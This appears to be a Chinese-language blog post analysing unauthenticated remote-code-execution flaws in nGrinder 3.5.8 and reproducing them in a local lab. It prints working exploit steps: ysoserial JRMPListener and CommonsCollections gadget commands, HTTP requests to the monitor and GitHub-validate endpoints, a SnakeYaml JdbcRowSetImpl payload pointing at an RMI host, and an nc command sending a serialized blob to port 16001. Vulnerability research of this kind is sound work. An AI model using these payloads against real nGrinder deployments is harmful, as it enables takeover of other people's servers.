nGrinder是一个压力测试平台,能够同时执行脚本创建、测试执行、监控和结果报告生成器。 nGrinder 3.5.9之前版本存在安全漏洞,漏洞源于允许接受未经身份验证用户的序列化Java对象,可能允许远程攻击者通过不安全的Java对象反序列化执行任意代码。
通过github下载程序war包https://github.com/naver/ngrinder/releases/tag/ngrinder-3.5.8-20221230
接着使用tomcat进行部署,登录tomcat管理后台,将war上传上去部署即可
访问http://localhost:8006/出现登录界面说明部署成功,默认账号密码为admin/admin
接着在IDEA中开启调试,就可以调试项目了,具体可以参考下面这篇文章
https://developer.aliyun.com/article/1129600
该系统的鉴权是通过@PreAuthorize来实现的,@PreAuthorize是Spring Security提供的注解之一,用于在方法执行之前进行权限验证
在org.ngrinder.agent.controller.MonitorManagerApiController控制器下存在一个getRealTimeMonitorData方法,该方法是无需鉴权的,接收一个参数ip,接着调用AopUtils.proxy(this).getAsyncSystemInfo(),port默认为13243
跟进到MonitorInfoStore#getSystemInfo(),通过该方法会实例化一个MonitorClientService对象,初始化对象之后,就会调用到该对象里的init方法
在init(),实例化MBeanClinet对象,该对象中包含一个jmxurl属性,接着就会调用mBeanClient.connect()连接到jmxurl。
可以控制ip的值,创建一个恶意的jmx服务端,当程序连接到jmxurl时就会执行恶意代码,而且在环境中存在commons-collections依赖,可以利用cc链实现命令执行
最终会执行到MBeanClient#connectionTimeout()里,通过JMXConnectorFactory.connect()连接到jmx服务端
利用ysoserial启动一个jmx服务端
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 13243 CommonsCollections6 "calc"
接着请求漏洞接口就可以看到弹出计算器
GET /ngrinder-controller-3.5.8/monitor/api/state?ip=192.168.85.129 HTTP/1.1
Host: localhost:8006
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
在FileEntryApiController#validateGithubConfig()下还存在一个SnakeYaml的反序列化漏洞,在该接口下调用了validate()
跟进到GithubFileEntryService#validate()方法下,for循环中调用了getAllGithubConfig(),该方法下的yaml.loadAll()就存在SnakeYaml反序列化漏洞
在SnakeYaml反序列化时,可以通过!!指定反序列化的类,它和fastjson反序列化时类似,都会去调用指定类下的setter方法
POST /ngrinder-controller-3.5.8/script/api/github/validate HTTP/1.1
Host: localhost:8006
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
{
"content": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: rmi://192.168.85.129:13243/jmxrmi\n autoCommit: true\n"
}
在启动时,ngrinder会默认在16001端口上运行一个监听器,该监听器可以接收一个序列化对象,当系统接收到该对象时会执行反序列化
在net.grinder.communication.Connector类下可以看到该类下存在一个read(),会调用objectInputStream.readObject()执行反序列化
在Acceptor#interruptibleRun()方法下可以看到,程序会启动一个socket服务,持续监听16001端口,当接收到内容时就会调用到Acceptor.this.discriminateConnection(),而在该方法下最终又会调用到Connector.read()执行反序列化
从docker-compose.yml文件里可以看出监听16001端口
通过ysoserial生成反序列化文件
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 "calc" > calc.bin
通过nc将文件发送到服务端的16001端口,程序会弹出计算器
nc 192.168.85.1 16001 < calc.bin
7 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!